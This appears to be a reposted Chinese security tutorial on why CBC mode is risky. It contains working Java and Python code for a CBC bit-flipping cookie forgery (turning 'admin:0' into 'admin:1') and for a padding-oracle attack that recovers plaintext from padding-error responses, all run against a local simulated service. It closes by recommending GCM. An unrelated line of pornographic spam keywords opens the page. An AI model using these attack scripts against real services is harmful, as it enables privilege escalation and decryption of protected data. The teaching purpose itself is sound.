国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

【密碼學(xué)】為什么不推薦在對稱加密中使用CBC工作模式

這篇具有很好參考價(jià)值的文章主要介紹了【密碼學(xué)】為什么不推薦在對稱加密中使用CBC工作模式。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

引言

這篇文章是我在公司內(nèi)部分享中一部分內(nèi)容的詳細(xì)版本,如標(biāo)題所言,我會(huì)通過文字、代碼示例、帶你完整的搞懂為什么我們不建議你使用cbc加密模式,用了會(huì)導(dǎo)致什么安全問題,即使一定要用需要注意哪些方面的內(nèi)容。

注:本文僅從安全角度出發(fā),未考慮性能與兼容性等因素

工作模式是個(gè)啥

分組加密的工作模式與具體的分組加密算法沒有關(guān)系,所以只要使用了cbc模式,不限于AES、DES、3DES等算法都一樣存在問題。

AES-128-CBC為例,可以屏蔽AES算法的內(nèi)部實(shí)現(xiàn),把AES算法當(dāng)作一個(gè)黑盒,輸入明文和密鑰返回密文。

因?yàn)槭欠纸M加密算法,所以對于長的明文,需要按照算法約定的塊大小進(jìn)行分組,AES每一組為16B,不同組之間使用相同的密鑰進(jìn)行計(jì)算的話,會(huì)產(chǎn)生一些安全問題,所以為了將分組密碼應(yīng)用到不同的實(shí)際應(yīng)用,NIST定義了若干的工作模式,不同模式對分塊的加密處理邏輯會(huì)不同,常見的工作模式有:

模式 描述
ECB(電碼本) 相同的密鑰分隊(duì)明文分組進(jìn)行加密
CBC(分組鏈接) 加密算法的輸入是上一個(gè)密文組和當(dāng)前明文組的異或
CFB(密文反饋) 一次處理s位,上一塊密文作為下一塊加密算法輸入,產(chǎn)生偽隨機(jī)數(shù)與明文異或或作為下一單元的密文
OFB(輸出反饋) 類似CFB,僅加密算法的輸入是上一次加密的輸出,且使用整個(gè)分組
CTR(技數(shù)器) 每個(gè)明文分組都與一個(gè)經(jīng)過加密的計(jì)數(shù)器相異或。對每個(gè)后續(xù)分組計(jì)數(shù)器遞增

ECB模式最為簡單,假設(shè)存在明文分組a、b、c、d 每個(gè)分組分別在相同密鑰k進(jìn)行aes加密后的密文為A、B、C、D,最終明文abcd對應(yīng)的密文為ABCD,如圖所示:

ECB模式很簡單可能從性能角度講非常占優(yōu),因?yàn)榉纸M之間沒有關(guān)聯(lián),可以獨(dú)立并行計(jì)算。但從安全角度來看這種直接將密文分組進(jìn)行拼接的方式,很可能會(huì)被攻擊者猜解出明文特征或替換丟棄部分密文塊達(dá)到明文的替換與截取效果,以下的圖非常清晰:

所以很容易理解ECB也不是推薦使用的工作模式。

CBC

有了ECB的前車之鑒,CBC( Cipher Block Chaining)模式就提出將明文分組先于一個(gè)隨機(jī)值分組IV進(jìn)行異或且本組的密文又與下一組的明文進(jìn)行異或的方式,這種方式增加了密文的隨機(jī)性,避免了ECB的問題,詳細(xì)過程見圖:

加密過程??

解釋下這個(gè)圖,存在明文分組a、b、c、d,cbc工作模式是存在執(zhí)行順序的,即第一個(gè)密文分組計(jì)算后才能計(jì)算第二個(gè)分組,第一個(gè)明文分組在加密前明文a需要和一個(gè)初始分組IV進(jìn)行異或運(yùn)算 即 a^IV ,然后再用密鑰K進(jìn)行標(biāo)準(zhǔn)的AES加密,E(a^IV,K) 得到第一組的密文分組A,密文分組A會(huì)參與第二組密文的計(jì)算,計(jì)算過程類似,只不過第二次需將IV替換為A,如此循環(huán),最后得到的密文ABCD即為CBC模式。

解密過程

仔細(xì)觀察CBC的加密過程,需要使用到一個(gè)隨機(jī)分組IV,在標(biāo)準(zhǔn)的加密過程中,IV會(huì)被拼接到密文分組中去,假設(shè)存在兩人甲和乙,甲方給到乙方的密文實(shí)際是 (IV)ABCD,乙在拿到密文后提取IV,然后進(jìn)行下圖的解密:

解密過程就是加密過程轉(zhuǎn)變了下方向,留意兩個(gè)圖從abcd到ABCD的箭頭方向。第一個(gè)密文分組先進(jìn)行AES解密,得到的中間值我們計(jì)為M_A,M_A再于初始向量IV進(jìn)行異或得到a,第二個(gè)分組重復(fù)同樣的動(dòng)作,還是將IV替換為密文分組A,最終可得到明文分組abcd。

CBC有什么問題

CBC增加了隨機(jī)變量IV給密文增加了隨機(jī)性,增大了密文分析的難度是不是就安全了呢? 答案當(dāng)然是不,CBC又引入了新的問題——可以通過改變密文從而改變明文。

CBC字節(jié)翻轉(zhuǎn)攻擊

原理講解

CBC字節(jié)翻轉(zhuǎn)攻擊原理非常簡單,如圖所示:

攻擊往往發(fā)生在解密過程,黑客通過控制IV和密文分組可以達(dá)到修改明文的目的,圖中黑客通過替換密文D分組為E分組可以篡改原本明文d為x(可能會(huì)涉及填充驗(yàn)證,這里先不管),或者同樣的道理黑客可以通過控制IV達(dá)到修改明文分組a的目的。

舉個(gè)例子??

接下來用一個(gè)實(shí)際例子來演示其原理及危害。

為了保證方便進(jìn)行原理講解,在加密時(shí)會(huì)將IV和key寫死,避免每次運(yùn)行的結(jié)果不一樣。

假設(shè)存在一個(gè)web服務(wù)應(yīng)用,前后端通過Cookie來進(jìn)行權(quán)限校驗(yàn),cookie的內(nèi)容為明文admin:0進(jìn)行AES-128-CBC加密后的密文進(jìn)行base64編碼,數(shù)字0代表此時(shí)用戶的權(quán)限為非管理員用戶,當(dāng)admin后面的數(shù)字為1時(shí),后端會(huì)認(rèn)為是一名管理員用戶。

Cookie內(nèi)容為:AAAAAAAAAAAAAAAAAAAAAJyycJTyrCtpsXM3jT1uVKU=

此時(shí)黑客在知道校驗(yàn)原理的情況下可利用字節(jié)翻轉(zhuǎn)攻擊對此服務(wù)發(fā)起攻擊,在不知道密鑰的情況下將cookie明文修改為admin:1,具體過程:

AES以16B作為block size進(jìn)行分塊,admin:0在ascii編碼下對應(yīng)的二進(jìn)制僅為7B,所以在加密時(shí)還會(huì)對原始明文進(jìn)行填充直到剛好為16B的整數(shù)倍,所以還需要填充9B(填充細(xì)節(jié)下面再講),因?yàn)镃BC還會(huì)有IV,所以最終的密文是IV+Cipher,IV16B,cipher16B,總共32B,這里因?yàn)橹挥幸粋€(gè)密文分塊,所以改變IV的第7個(gè)字節(jié)對應(yīng)明文admin:0數(shù)字的位置,或者密文的第7個(gè)字節(jié)即可改變明文數(shù)字部分的字段,通過不斷的嘗試,我們將原本密文IV分組 00改為01,即可成功翻轉(zhuǎn)明文為1,即cookie明文變?yōu)?code>admin:1,從而達(dá)到權(quán)限提升的目的。

完整代碼:

package com.example.springshiroproject;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;

public class MyTest {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        AesCipherService aesCipherService = new AesCipherService();
        // 寫死密鑰
        byte[] key = new byte[128/8];
        Arrays.fill(key,(byte) '\0');  // 寫死的密鑰,客戶端及黑客未知
        String plainText = "admin:0";  // cookie明文內(nèi)容

        byte[] plainTextBytes = plainText.getBytes();

		// 寫死IV
        byte[] iv_bytes = new byte[128/8];
        Arrays.fill(iv_bytes, (byte) '\0');
//
//      // 通過反射調(diào)用可以自定義IV的AES-128-cbc加密方法(原方法為private)
        Method encryptWithIV =  aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
        encryptWithIV.setAccessible(true);
        ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
        System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());

		// 正常邏輯解密
        byte[] cipher = cipherWithIV.getBytes();
        System.out.println("原始密文: " + cipherWithIV.toHex());
        System.out.println("Cookie內(nèi)容: " + cipherWithIV.toBase64());

        ByteSource decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));

		// 字節(jié)翻轉(zhuǎn)攻擊
        cipher[6] = (byte)0x01;
        System.out.println("翻轉(zhuǎn)后的密文: " + ByteSource.Util.bytes(cipher).toHex());
        System.out.println("翻轉(zhuǎn)后的cookie:"+ ByteSource.Util.bytes(cipher).toBase64());
        decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("翻轉(zhuǎn)解密后明文:" + new String(decPlain.getBytes()));
    }
}

這個(gè)例子只講了一個(gè)分塊的情況,在實(shí)際的場景中可能涉及多個(gè)分塊,而多個(gè)分塊進(jìn)行嘗試改變一個(gè)密文分組實(shí)際會(huì)影響兩個(gè)明文分組,要求不斷在相同位置的向前的密文分組進(jìn)行變換猜測,非常耗時(shí)。

所以為了更方便的利用,攻擊者發(fā)現(xiàn)利用解密程序端會(huì)對填充規(guī)則進(jìn)行驗(yàn)證,驗(yàn)證不通過會(huì)拋出異常,類似sql注入盲注一樣,給攻擊者提供了更多的信息方便了漏洞的利用。

填充類型

因?yàn)闀?huì)涉及到對填充規(guī)則的利用,所以有必要專門介紹下主流的填充類型:

填充類型 描述
NoPadding 沒有填充
PKCS#5 固定分塊size為8B
PKCS#7 分塊size可為1~255
ISO 10126 最后一個(gè)字節(jié)填充需要填充的長度,剩下的隨機(jī)填充
ANSI X9.23 最后一個(gè)字節(jié)填充需要填充的長度,剩下的補(bǔ)0填充
ZerosPadding 填充 \x00

這里著重講一下PKCS#5PKCS#7, 我發(fā)現(xiàn)很多安全人員寫的文章對于這兩種填充模式的描述是有問題的,比如:

其實(shí)不管pkcs#5還是pkcs#7 填充的內(nèi)容都是需要填充的字節(jié)數(shù)這個(gè)數(shù)二進(jìn)制本身,pkcs#5是按照8B為標(biāo)準(zhǔn)分塊進(jìn)行填充,pkcs#7是可以不固定1~255都行,只不過按照AES的RFC約定,blocksize固定為16B,所以在AES調(diào)用里面pkcs#5pkcs#7是沒啥區(qū)別的。

舉個(gè)例子,假如存在明文helloworld,明文本身為英文,按照ascii每個(gè)字符占用1B,明文長度為10B,還需填充6B ,填充內(nèi)容為\x06,最終分塊內(nèi)容為:helloworld\x06\x06\x06\x06\x06\x06.

在解密時(shí),服務(wù)端會(huì)對內(nèi)容做如下校驗(yàn):

  1. 獲取解密后的明文數(shù)據(jù)。
  2. 獲取明文數(shù)據(jù)的最后一個(gè)字節(jié)的值。
  3. 檢查最后一個(gè)字節(jié)的值是否在有效填充范圍內(nèi)。
    • 如果最后一個(gè)字節(jié)的值小于等于明文數(shù)據(jù)的長度,則判斷為填充數(shù)據(jù)。
    • 如果最后一個(gè)字節(jié)的值大于明文數(shù)據(jù)的長度,則判斷為無填充數(shù)據(jù)。
    • 如果最后一個(gè)字節(jié)的值超出填充范圍(大于塊大?。瑒t數(shù)據(jù)可能被篡改或存在其他異常。
  4. 如果存在填充,則根據(jù)填充的字節(jié)數(shù),截取明文數(shù)據(jù),去除填充部分。

Padding oracle attack

padding oracle 攻擊利用的是篡改密文分組最后的填充字節(jié)引發(fā)服務(wù)端報(bào)錯(cuò)進(jìn)而可預(yù)測出明文或生成新的密文的攻擊方式,所以這里的oracle是預(yù)測的意思,非我們熟悉的java母公司甲骨文。

例子??

假設(shè)我們收到了一串通過AES-128-CBC加密的密文,密文內(nèi)容為:

000000000000000000000000000000009cb27094f2ac2b69b173378d3d6e54a5

前面16B全是0的部分是寫死的IV,后面才是真正的密文。復(fù)習(xí)下解密過程

  1. 密文cipher首先會(huì)在密鑰K的作用下生成中間值M
  2. 中間值M再于初始向量IV異或得到明文plain text.

表中標(biāo)黃的就是攻擊者可控的內(nèi)容,如果僅翻轉(zhuǎn)字節(jié)只能改變明文內(nèi)容,但我們無法確切得知明文的具體內(nèi)容,所以padding oracle 就登場了,正常的業(yè)務(wù)邏輯在解密時(shí)會(huì)對明文內(nèi)容做判斷,如果解密內(nèi)容正確可能會(huì)返回200,解密明文錯(cuò)誤返回403,但如果破壞密文程序?qū)μ畛潋?yàn)證出錯(cuò)可能會(huì)導(dǎo)致程序出錯(cuò)進(jìn)而產(chǎn)生500錯(cuò)誤。

攻擊者會(huì)利用500錯(cuò)誤來循環(huán)判斷猜解的中間值是否正確。

猜解出中間值后再與已知的IV進(jìn)行異或就能得到明文。

攻擊流程

猜解中間值

還是以剛剛的例子來做測試,我們嘗試猜解最后一位中間值,將IV從00-ff進(jìn)行暴力驗(yàn)證直到程序不報(bào)錯(cuò),得到iv[15]0x08 時(shí)沒有報(bào)填充錯(cuò)誤,證明這個(gè)時(shí)候篡改后的明文最后一位應(yīng)該為0x01,將明文和IV進(jìn)行異或,可得中間值為0x08^0x01 = 0x09 ,表中紅色部分:

再進(jìn)行第二步,猜解倒數(shù)第二位,猜解倒數(shù)第二位需要滿足篡改后的明文后兩位都為0x02,因?yàn)樽詈笠晃欢贾虚g值已經(jīng)得出了為 0x09 所以,最后一位的iv為:0x09^0x02 = 0x0B,循環(huán)iv倒數(shù)第二位從00~ff.得到IV值為0x0B時(shí),程序不報(bào)錯(cuò),所以中間值為0x02^0x0B=0x09

不斷重復(fù)這個(gè)過程,直到所有的中間值都被猜解出來。

獲取明文

此時(shí),我們就可以在不知道密鑰的情況下,根據(jù)中間值和IV推測出明文M^IV=P(M為中間值,IV為初始向量、P為明文)。

因?yàn)槲覀儗v寫死為00,所以明文就是M對應(yīng)的ASCII值,也就是:

admin:0\09\09\09\09\09\09\09\09\09

09為填充內(nèi)容,字節(jié)去掉得到最終明文:admin:0

對應(yīng)的代碼(Java):

package com.example.springshiroproject;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.util.ByteSource;

import javax.crypto.BadPaddingException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;

public class MyTest {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        int blockSize = 16;
        AesCipherService aesCipherService = new AesCipherService();
        // 寫死密鑰
        byte[] key = new byte[128/8];
        Arrays.fill(key,(byte) '\0');  // 寫死的密鑰,客戶端及黑客未知
        String plainText = "admin:0";  // cookie明文內(nèi)容

        byte[] plainTextBytes = plainText.getBytes();


        byte[] iv_bytes = new byte[128/8];
        Arrays.fill(iv_bytes, (byte) '\0');
//
//      // 通過反射調(diào)用可以自定義IV的AES-128-cbc加密方法
        Method encryptWithIV =  aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
        encryptWithIV.setAccessible(true);
        ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
        System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());


        byte[] cipher = cipherWithIV.getBytes();
//        System.out.println(cipher.length);
        System.arraycopy(cipher,0,iv_bytes,0,blockSize-1);
        System.out.println("原始密文: " + cipherWithIV.toHex());
        System.out.println("Cookie內(nèi)容: " + cipherWithIV.toBase64());

        ByteSource decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));
        System.out.println("開始嘗試");
        decPlain = null;


        byte[] middleValue = new byte[blockSize];
        Arrays.fill(middleValue,(byte) 0x00);
        boolean flipFlag = false;
        for (int j=0; j<blockSize; j++){
            byte tmp;
            System.out.println("start "+ (j+1));
            if (j >0){
                for (int p=middleValue.length-1;p>middleValue.length-1-j;p--){
                    tmp = (byte) (middleValue[p]^(j+1));
                    cipher[p] = tmp;
//                    System.out.println("此時(shí)的tmp: " + tmp);
                }
                System.out.println("根據(jù)已知中間值填充iv的cipher: " + ByteSource.Util.bytes(cipher).toHex());
            }else {
                System.out.println("初始填充");

            }
            tmp  = cipher[blockSize-j-1];
            for (int i=0x00; i<=0xff; i++){
                if (tmp == i){
//                    continue;
                    System.out.println("和原值一致跳過");
                    if (!flipFlag){
                        flipFlag = true;
                        continue;
                    }
                }

                cipher[blockSize-j-1] = (byte) i;
                try{
                    decPlain = aesCipherService.decrypt(cipher, key);
                    tmp = (byte) (i ^ (j+1));
                    middleValue[blockSize-j-1] =tmp; //保存中間值 M = IV ^ I
                    System.out.println("猜對了!倒數(shù)第" +(j+1) +"個(gè)iv:" + i);
                    System.out.println("倒數(shù)第" +(j+1) +"個(gè)M:" + tmp);
                    break;
                }catch (CryptoException e){
                    if (i==0xff){
                        System.out.print("沒有跑出來");
                        System.exit(0);
                    }

                }

            }
        }
        System.out.println("猜解的中間值:" + ByteSource.Util.bytes(middleValue).toHex());
        byte[] attackPlain = new byte[blockSize];
        for (int i=0;i<attackPlain.length;i++){
            attackPlain[i] =(byte)( iv_bytes[i] ^middleValue[i]);
        }

        System.out.println("最終密文:" + ByteSource.Util.bytes(cipher).toHex());
        System.out.println("最終明文:" + ByteSource.Util.bytes(attackPlain).toHex());
        System.out.println("嘗試結(jié)束");

        System.out.println("翻轉(zhuǎn)解密后明文:" + new String(attackPlain));


    }
}

運(yùn)行結(jié)果:

另外對應(yīng)的python版本我也有寫過,如果你自己造輪子發(fā)現(xiàn)報(bào)錯(cuò)可以參考下我的代碼:

漏洞模擬環(huán)境:

from aes_manual import aes_manual

class PaddingOracleEnv:

    def __init__(self):
        self.key = aes_manual.get_key(16)

    def run(self):
        cipher = aes_manual.encrypt(self.key, "hello".encode())


    def login(self,cookie):
        try:
            text = aes_manual.decrypt(self.key, cookie)
            if text == b'hello':
                return 200  # 完全正確
            else:
                return 403  # 明文錯(cuò)誤
        except RuntimeError as e:
            return 500  # 填充驗(yàn)證失敗


padding_oracle_env = PaddingOracleEnv()

if __name__ == '__main__':
    res = padding_oracle_env.login(b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec")
    print(res)

攻擊腳本:

import sys

from aes_manual import aes_manual
from padding_oracle_env import padding_oracle_env
from loguru import logger

class PaddingOracleAttack:

    def __init__(self):
        logger.remove()
        logger.add(sys.stderr,level="DEBUG")
        self.cipher_text_raw = b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec"
        self.iv = aes_manual.get_iv(self.cipher_text_raw)
        self.cipher_content = aes_manual.get_cipher_content(self.cipher_text_raw)

    def single_byte_xor(self, A: bytes, B: bytes):
        """單字節(jié)異或操作"""
        assert len(A) == len(B) == 1
        return ord(A) ^ ord(B)

    def guess_last(self):
        """
        padding oracle
        :return:
        """
        c_l = len(self.cipher_content)
        M = bytearray()
        for j in range(1, c_l+1):  # 中間值位數(shù)
            for i in range(1, 256):  # 假 iv 爆破
                f_iv = b'\x00' * (c_l-j) + bytes([i])
                for m in M[::-1]:
                    f_iv += bytes([m ^ j])  # 利用上一步已知的m計(jì)算后面未知位置的iv
                res = padding_oracle_env.login(f_iv + self.cipher_content)
                if res == 403:  # 填充正確的情況
                    M.append(i ^ j)
                    logger.info(f"{j} - {bytes([i])} - {i}")
                    break
        # logger.info(M)
        M = M[::-1]  # reverse
        logger.info(f"M({len(M)}):{M}")
        p = bytearray()
        for m_i, m in enumerate(M):
            p.append(m ^ self.iv[m_i])
        logger.info(f"破解明文為({len(p)}):{p}")

    def run(self):
        self.guess_last()

if __name__ == '__main__':

    attack = PaddingOracleAttack()
    attack.run()

其實(shí)也沒必要重復(fù)造輪子,也有很多現(xiàn)成的工具,如:https://github.com/KishanBagaria/padding-oracle-attacker

總結(jié)

回答標(biāo)題問題,正是因?yàn)镃BC字節(jié)翻轉(zhuǎn)、padding oracle attack 這些攻擊方式的存在,所以在對傳輸機(jī)密性要求高的場景是不推薦使用CBC工作模式的,

此外我在谷歌、百度搜索python aes cbc加密關(guān)鍵詞時(shí)出現(xiàn)了很多誤導(dǎo)性的文章:

而且文章排名前三,里面的示例代碼竟然直接將加解密密鑰作為IV,這么做有如下風(fēng)險(xiǎn):

  1. 要知道IV一般會(huì)拼接在密文的頭部放在網(wǎng)絡(luò)中傳輸,這種方式攻擊者都不需要字節(jié)翻轉(zhuǎn)那么復(fù)雜的操作,直接取出IV解密即可
  2. 即使IV不作為密文一部分傳輸,使用相同的IV進(jìn)行加密會(huì)導(dǎo)致相同的明文塊產(chǎn)生相同的密文塊。攻擊者可以通過觀察密文的模式來推斷出明文的一些信息,甚至進(jìn)行其他形式的攻擊,如選擇明文攻擊。

為了確保安全性,應(yīng)該生成隨機(jī)且唯一的IV,并將其與密文一起存儲(chǔ)。常見的做法是每次加密生成一個(gè)新的IV,并將其作為附加的密文數(shù)據(jù)一起傳輸或存儲(chǔ),以便解密時(shí)正確使用。這樣可以避免可預(yù)測性攻擊,并增強(qiáng)AES CBC模式的安全性

更推薦使用GCM作為加解密的工作模式,因?yàn)椋?mark hidden color="red">文章來源:http://www.zghlxwxcb.cn/news/detail-456422.html

  1. 數(shù)據(jù)完整性和加密認(rèn)證:GCM 模式提供了認(rèn)證標(biāo)簽 (Authentication Tag) 的生成,用于驗(yàn)證密文的完整性和認(rèn)證密文的來源。這可以幫助檢測任何對密文的篡改或偽造,并提供更強(qiáng)的數(shù)據(jù)完整性保護(hù)。
  2. 隨機(jī)性和不可預(yù)測性:GCM 模式使用計(jì)數(shù)器和密鑰生成一個(gè)密鑰流,這個(gè)密鑰流與明文進(jìn)行異或運(yùn)算得到密文。這種異或運(yùn)算的方式提供了更高的隨機(jī)性和不可預(yù)測性,增加了密文的安全性。
  3. 并行加密和高性能:GCM 模式支持并行加密,可以同時(shí)處理多個(gè)數(shù)據(jù)塊,提高加密和解密的速度和效率。這在處理大規(guī)模數(shù)據(jù)時(shí)非常有用。
  4. 抵抗填充攻擊:與一些塊密碼模式相比,GCM 模式不需要進(jìn)行填充操作,因此不容易受到填充攻擊等相關(guān)漏洞的影響。

參考

  • https://paper.seebug.org/1123/
  • https://www.rfc-editor.org/rfc/rfc2630
  • https://xz.aliyun.com/t/11633
  • chatgpt

公眾號(hào)

家人們,歡迎關(guān)注我的公眾號(hào)“硬核安全”,跟我一起學(xué)起來!文章來源地址http://www.zghlxwxcb.cn/news/detail-456422.html

到了這里,關(guān)于【密碼學(xué)】為什么不推薦在對稱加密中使用CBC工作模式的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 密碼學(xué)【java】初探究加密方式之非對稱加密

    密碼學(xué)【java】初探究加密方式之非對稱加密

    非對稱加密算法又稱現(xiàn)代加密算法。非對稱加密是計(jì)算機(jī)通信安全的基石,保證了加密數(shù)據(jù)不會(huì)被破解。 與對稱加密算法不同,非對稱加密算法需要兩個(gè)密鑰:公開密鑰(publickey) 和私有密(privatekey) 公開密鑰和私有密鑰是一對。如果用公開密鑰對數(shù)據(jù)進(jìn)行加密,只有用對應(yīng)的

    2024年02月03日
    瀏覽(23)
  • 密碼學(xué):一文讀懂非對稱加密算法 DH、RSA

    密碼學(xué):一文讀懂非對稱加密算法 DH、RSA

    我們可能沒有在瑞士蘇黎世銀行存入巨額資產(chǎn)的機(jī)會(huì),但相信大多數(shù)人都在電影中見到這樣一組鏡頭: 戶主帶著自己的鑰匙來到銀行,要求取出自己寄放的物品。銀行工作人員驗(yàn)明戶主身份后,拿出另一把鑰匙同戶主一起打開保險(xiǎn)柜,將用戶寄放物品取出。我們可以把這個(gè)保

    2024年01月21日
    瀏覽(35)
  • 密碼學(xué)之對稱加密體系(2):AES、SM4的 S 盒具體算法的實(shí)現(xiàn)

    ??點(diǎn)擊進(jìn)入【硬件安全】社區(qū),查看更多精彩內(nèi)容?? ??點(diǎn)擊查看《硬件安全》系列文章?? ??? 聲明 : ?? 作者主頁:【擺渡滄桑的CSDN主頁】。 ?? 未經(jīng)作者允許,禁止轉(zhuǎn)載。 ?? 本文為非盈利性質(zhì),目的為個(gè)人學(xué)習(xí)記錄及知識(shí)分享。因能力受限,存在知識(shí)點(diǎn)分析不

    2024年02月16日
    瀏覽(106)
  • 【11.10】現(xiàn)代密碼學(xué)1——密碼學(xué)發(fā)展史:密碼學(xué)概述、安全服務(wù)、香農(nóng)理論、現(xiàn)代密碼學(xué)

    【11.10】現(xiàn)代密碼學(xué)1——密碼學(xué)發(fā)展史:密碼學(xué)概述、安全服務(wù)、香農(nóng)理論、現(xiàn)代密碼學(xué)

    參考:密碼學(xué)發(fā)展簡史 駱婷老師的《現(xiàn)代密碼學(xué)(32H)》課程,筆記+查找的資料補(bǔ)充 期末為閉卷考試的形式 密碼學(xué)早在公元前400多年就已經(jīng)產(chǎn)生,人類使用密碼的歷史幾乎與使用文字的時(shí)間一樣長,密碼學(xué)的發(fā)展大致可以分為 3 個(gè)階段: 1949年之前的古典密碼學(xué)階段; 1949 年

    2024年02月04日
    瀏覽(24)
  • 【密碼學(xué)】高級(jí)密碼學(xué)-2

    【密碼學(xué)】高級(jí)密碼學(xué)-2

    ??第⑤部分由L3H_CoLin編寫,有一些修改。?? Song, Dawn Xiaoding, David Wagner, and Adrian Perrig. “Practical techniques for searches on encrypted data.” Proceeding 2000 IEEE Symposium on Security and Privacy. SP 2000. IEEE, 2000. 數(shù)據(jù)的安全外包存儲(chǔ) 利用密碼算法加密明文數(shù)據(jù),使得云平臺(tái)無法獲得額外信息 解決

    2024年02月16日
    瀏覽(44)
  • 【密碼學(xué)】高級(jí)密碼學(xué)-1

    【密碼學(xué)】高級(jí)密碼學(xué)-1

    ??通信雙方使用 同一個(gè)密鑰 ,通過使用加密算法配合上密鑰來加密,解密過程采用加密過程的逆過程配合密鑰即可。 ??常見的對稱加密算法有DES、AES等。 ??對稱加密的缺點(diǎn):不能在不安全的網(wǎng)絡(luò)上傳輸密鑰,一旦密鑰泄露則加密通信失敗。 ??非對稱加密使用了一

    2024年02月05日
    瀏覽(24)
  • 【密碼學(xué)】python密碼學(xué)庫pycryptodome

    【密碼學(xué)】python密碼學(xué)庫pycryptodome

    記錄了一本幾乎是10年前的書(python絕技–用python成為頂級(jí)黑客)中過時(shí)的內(nèi)容 里面提到了python標(biāo)準(zhǔn)庫中自帶的crypt庫,經(jīng)驗(yàn)證Python 3.12.1中并沒有這個(gè)自帶的庫,密碼學(xué)相關(guān)的庫目前(2024.1.12)是一個(gè)自包含庫pycryptodome,導(dǎo)入的是 import Crypto pypi庫的頁面 可以在文檔中查看詳

    2024年01月17日
    瀏覽(65)
  • 密碼學(xué)基本原理和發(fā)展——古典密碼學(xué)

    密碼學(xué)基本原理和發(fā)展——古典密碼學(xué)

    ? 目錄 1?滾筒密碼 2?棋盤密碼 3?凱撒密碼 4?單表代換與多表代換 4.1?單表代換 4.2?多表代換 ? ? ? ? 密碼技術(shù)最早起源于公元前404年的希臘,此后密碼大致經(jīng)歷了 古典密碼、近代密碼和現(xiàn)代密碼三個(gè)階段。 ? ? ? ? 古典密碼(公元前五世紀(jì)~19世紀(jì)末)代表性的是 滾桶密

    2024年02月05日
    瀏覽(97)
  • 密碼學(xué)基本原理和發(fā)展——近代密碼學(xué)

    密碼學(xué)基本原理和發(fā)展——近代密碼學(xué)

    目錄 1 密碼機(jī)通信模型 2 Enigma密碼機(jī)構(gòu)造 3 Enigma密碼機(jī)加解密過程 3.1?加密過程 3.2?解密過程 4 Enigma密碼機(jī)的安全性 5 Enigma密碼機(jī)破解 5.1?波蘭雷耶夫斯基破解 5.2?圖靈破解 ? ? ? ?近代密碼一般指20世紀(jì)初~20世紀(jì)70年代期間的密碼技術(shù)。20 世紀(jì)初電報(bào)的出現(xiàn)第一次使遠(yuǎn)距離

    2024年02月06日
    瀏覽(89)
  • 程序猿成長之路之密碼學(xué)篇-密碼學(xué)簡介

    程序猿成長之路之密碼學(xué)篇-密碼學(xué)簡介

    在閱讀本文前需要了解的術(shù)語: 授權(quán)人/非授權(quán)人:授權(quán)人指獲取了查看數(shù)據(jù)權(quán)限的用戶,非授權(quán)人則是指未獲取到權(quán)限的用戶。 明文/密文:明文指沒有加密的數(shù)據(jù)內(nèi)容,密文是指加密后的數(shù)據(jù)內(nèi)容 CIA(密碼學(xué)中不是美國中情局的意思,是信息安全三要素): C-Confidentiality 機(jī)

    2024年02月04日
    瀏覽(19)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包